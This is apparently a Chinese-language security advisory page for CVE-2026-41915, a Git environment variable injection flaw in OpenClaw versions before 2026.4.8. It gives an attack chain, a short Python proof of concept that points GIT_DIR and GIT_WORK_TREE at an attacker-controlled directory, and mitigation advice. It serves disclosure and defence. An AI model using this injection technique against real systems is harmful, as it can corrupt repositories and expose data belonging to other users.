IPBUF安全漏洞报告
English
CVE-2026-41915 CVSS 5.3 中危

CVE-2026-41915:OpenClaw Git环境变量注入漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-41915
漏洞类型
环境变量注入
CVSS评分
5.3 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

环境变量注入OpenClawGitCVE-2026-41915本地漏洞

漏洞概述

OpenClaw在2026.4.8之前的版本中存在一个安全漏洞。该问题的根源在于应用程序在执行宿主exec操作之前,未能从执行环境中彻底移除Git专用的管道环境变量。攻击者可以利用这一缺陷,通过精心设置GIT_DIR及相关环境变量,诱骗系统将Git操作重定向至非预期路径。这不仅可能破坏代码仓库的完整性,还可能导致敏感信息泄露。该漏洞CVSS评分为5.3,属于中危级别,攻击者只需具备本地低权限且无需用户交互即可成功利用。

技术细节

该漏洞属于环境变量注入类型,具体表现为Git环境变量污染。OpenClaw在调用系统Git命令时,未对继承的环境变量进行过滤。Git客户端允许通过GIT_DIR、GIT_INDEX_FILE等环境变量自定义仓库位置和工作目录。攻击者若能控制OpenClaw运行时的环境(如低权限用户),即可注入恶意路径。当OpenClaw触发Git操作时,Git会读取攻击者设定的路径,导致操作被重定向。这可能允许攻击者向任意目录写入对象或读取未授权的Git配置,从而严重破坏仓库完整性。由于攻击复杂度低且无需用户交互,该漏洞在本地多用户环境下具有较高风险。

攻击链分析

STEP 1
侦察
攻击者识别目标系统上安装了OpenClaw,且版本低于2026.4.8。
STEP 2
环境准备
攻击者在本地环境中设置恶意的环境变量,如GIT_DIR指向攻击者控制的路径或敏感路径。
STEP 3
漏洞触发
攻击者执行OpenClaw命令,该命令会触发内部的Git操作(如拉取代码、状态检查)。
STEP 4
利用执行
OpenClaw继承父进程的环境变量,Git进程读取恶意的GIT_DIR,导致操作被重定向至非预期位置。
STEP 5
达成影响
攻击者成功破坏仓库完整性,可能写入恶意文件或导致代码执行环境受损。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import os import subprocess # PoC for CVE-2026-41915: OpenClaw Git Environment Variable Injection # 1. Define the malicious GIT_DIR environment variable # This forces git to look for a repository in an attacker-controlled location # or a sensitive directory the attacker wishes to interact with. malicious_git_dir = "/tmp/attacker_controlled_repo" os.environ['GIT_DIR'] = malicious_git_dir # 2. (Optional) Set other git variables to further control execution os.environ['GIT_WORK_TREE'] = '/tmp/attacker_controlled_repo' print(f"[*] Setting GIT_DIR to: {malicious_git_dir}") # 3. Trigger the vulnerable OpenClaw operation # In a real scenario, this would be a specific OpenClaw command that invokes git. # For demonstration, we simulate the internal git call that OpenClaw makes. # If OpenClaw runs `git status` or `git pull`, it will use the malicious env vars. try: # Simulating: openclaw --update (which internally runs git commands) # We directly call git to show the effect of the environment variable injection. print("[*] Triggering a git command within the modified environment...") # This command would normally operate on the legitimate repo, # but due to the exploit, it uses /tmp/attacker_controlled_repo result = subprocess.run(['git', 'status'], capture_output=True, text=True) if "fatal" not in result.stderr: print("[!] Exploit successful: Git operation redirected to attacker directory.") print(result.stdout) else: print("[*] Git failed (expected if directory doesn't exist), but env var was processed.") print(result.stderr) except Exception as e: print(f"Error: {e}")

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
在无法立即升级的情况下,建议在启动OpenClaw之前,通过包装脚本显式unset(取消设置)所有Git相关的环境变量(如GIT_DIR, GIT_WORK_TREE, GIT_INDEX_FILE等)。此外,应确保运行OpenClaw的操作系统用户权限最小化,防止攻击者利用该漏洞写入敏感系统目录。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表